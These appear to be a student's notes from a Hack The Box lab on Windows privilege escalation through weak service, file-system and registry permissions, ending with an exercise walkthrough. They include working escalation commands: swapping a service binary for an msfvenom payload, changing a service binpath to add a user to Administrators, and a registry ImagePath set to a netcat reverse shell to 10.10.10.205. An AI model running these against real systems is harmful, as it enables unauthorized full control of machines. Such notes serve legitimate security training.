# Intro - Perms on systems are complicated and challenging to get right - A slight modification or misconfig in one place may introduce a flaw elsewhere - Services usually install with SYSTEM privileges, so leveraging a service permissions-related flaw can often lead to complete control over the target system - Regardless of the environment, we should always check for weak perms and be able to do it both manually and with automation tools # Overview - Below we will cover - Permission file system ACLs - Weak service perms - Unquoted service path - Permissive registry ACLs - Modifiable Registry Autorun Binary --- # Permissive FS ACLs ## Running `SharpUp` - [SharpUp](https://github.com/GhostPack/SharpUp/) can be used to check for service binaries suffering from weak ACLs ```powershell .\SharpUp.exe audit ``` - As shown above, `SharpUp` identified the `PC Security Management Service`, which executes the `SecurityService.exe` binary when started ## Checking Perms with `icacls` - Next, we can use [icacls](https://ss64.com/nt/icacls.html) to verify the vuln and see that the `EVERYONE` and `BUILTIN\Users` groups have been granted full perms to `C:\Program Files (x86)\PCProtect\` - Therefore any unprivileged system user can manipulate the directory and its contents ```powershell icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe ``` ## Replacing Service Binary - This service is also startable by unprivileged users, so we can make a backup of the original binary and replace it with a malicious binary generated with `msfvenom` - For example, this malicious payload could give us a revshell as `SYSTEM` or add a local admin user and give us full admin control over the machine ```cmd cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe" sc start SecurityService ``` - The above command copies `SecurityService.exe` (i.e., the malicious payload) to the noted destination --- # Weak Service Perms ## Running `SharpUp` - When we further look through the `SharpUp` output again for any modifiable services, we note that `WindscribeService` is potentially misconfigured ```cmd .\SharpUp.exe audit ``` - NOTE: Another notable example is the Windows [Update Orchestrator Service (UsoSvc)](https://docs.microsoft.com/en-us/windows/deployment/update/how-windows-update-works), which is responsible for downloading and installing OS updates - It is considered an essential Windows service and cannot be removed - Since it is responsible for making changes to the USthrough the installation of security and feature updates, it runs as the all-powerful `NT AUTHORITY\SYSTEM` account ## Checking Perms with `AccessChk` - Use [AccessChk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk) from the Sysinternals suite to enumerate permissions on the service - The flags we use, in order, are `-q` (omit banner), `-u` (suppress errors), `-v` (verbose), `-c` (specify name of a Windows service), and `-w` (show only objects that have write access) ```cmd accesschk.exe /accepteula -quvcw WindscribeService ``` - Above, we see that all Authenticated Users have [SERVICE_ALL_ACCESS](https://docs.microsoft.com/en-us/windows/win32/services/service-security-and-access-rights) rights over the service, which means full read/write control over the `WindscribeService` service ## Check Local Admin Group - Confirm that current user is not a member of the `Administrators` group ```cmd net localgroup administrators ``` ## Change the Service Binary Path - Use our perms over `WindscribeService` to change the binary path such that we add our user to the `Administrators` group ```cmd-session sc config WindscribeService binpath="cmd /c net localgroup administrators htb-student /add" ``` ## Stop+Start `WindscribeService` Service - To execute the modification to the `binpath`, stop+start `WindscribeService` ```cmd sc stop WindscribeService sc start WindscribeService ``` ## Recheck Local Admin Group ```cmd net localgroup administrators ``` --- # Unquoted Service Path ## Intro - When a service is installed, the registry configuration specifies a path to the binary that should be executed on service start - If this binary is not encapsulated within quotes, Windows will attempt to locate the binary in different folders - For example, consider `C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe` - In this example, Windows will attempt to load the following potential executables in order on service start, with a `.exe` being implied: - `C:\Program` - `C:\Program Files` - `C:\Program Files (x86)\System` - `C:\Program Files (x86)\System Explorer\service\SystemExplorerService64` ## Querying `SystemExplorerHelpService` ```cmd sc qc SystemExplorerHelpService [SC] QueryServiceConfig SUCCESS SERVICE_NAME: SystemExplorerHelpService TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : System Explorer Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem ``` - Based on the above, if we can create the following files, we would be able to hijack `SystemExplorerService64.exe` and gain command execution in the context of the service, in this case, `NT AUTHORITY\SYSTEM` - `C:\Program.exe\` - `C:\Program Files (x86)\System.exe` - However, creating files in the root of the drive or the program files folder requires admin privs ## Searching for Unquoted Service Paths - Identify unquoted service binary paths using the below ```cmd wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """ ``` --- # Permissive Registry ACLs - It's worthwhile searching for weak service ACLs in the Windows Registry - We can do this using `accesschk`as shown below ```cmd accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services ``` - From the above, we see that there is `key_all_access` perms to `HKLM\System\CurrentControlSet\services\ModelManagerService` - We can abuse this using the PowerShell cmdlet `Set-ItemProperty` to change the `ImagePath` value, using a command such as: ```powershell Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443" ``` - The above executes `nc.exe` with the noted argument/command --- # Modifiable Registry Autorun Binary ## Check Startup Programs - We can use `wmic` to see what programs run at system startup - For example, we have write perms to the registry for a given binary or can overwrite a binary listed - In this case, we may be able to privesc to another user the next time that the user logs in ```powershell Get-CimInstance Win32_StartupCommand | select Name, command, Location, User |fl ``` - This [post](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.html) and [this site](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2) detail many potential autorun locations on Windows systems --- # Exercise - `ping` test ![[images/Pasted image 20260220210128.png]] - `nmap` scan ![[images/Pasted image 20260220210201.png]] - `rdp` into target with given creds - light internal enum on target ![[images/Pasted image 20260220210430.png]] - Review available tools ![[images/Pasted image 20260220210458.png]] - Run `SharpUp` ![[images/Pasted image 20260220210548.png]] - Check perms to `WindscribeService` with `AccessChk` - Authenticated Users (including `htb-student`) have broad privs ![[images/Pasted image 20260220210825.png]] - Confirm `htb-student` is not currently a member of the `Administrators` group ![[images/Pasted image 20260220210909.png]] - Change the service `binpath` to add `htb-student` to the `Administrators` group ![[images/Pasted image 20260220211020.png]] - Now, stop+start `WindscribeService` ![[images/Pasted image 20260220211125.png]] - Recheck the `Administrators` group - `htb-student` is now a member of the `Administrators` group ![[images/Pasted image 20260220211152.png]] - Log-out and reconnect with `rdp` - Recheck the `Administrators` group ![[images/Pasted image 20260220211418.png]] - Then, navigate to flag at `\users\administrator\weakperms` - NOTE: Open an elevated `powershell` session - we cannot get to the flag with an ordinary shell ![[images/Pasted image 20260220211733.png]]